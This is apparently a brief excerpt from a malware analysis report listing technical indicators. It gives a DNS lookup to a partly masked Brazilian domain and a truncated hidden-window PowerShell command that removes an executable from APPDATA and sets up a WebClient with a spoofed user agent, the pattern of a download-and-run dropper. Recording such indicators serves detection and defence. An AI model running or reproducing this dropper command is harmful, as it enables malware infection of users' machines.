Technical Information
- DNS ASK cl#####quintas.com.br
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -noprofile If (test-path $env:APPDATA + '\wwdj.exe') {Remove-Item $env:APPDATA + '\wwdj.exe'}; $mpX = New-Object System.Net.WebClient; $mpX.Headers['User-Agent'] = 'ff-use...' (with hidden window)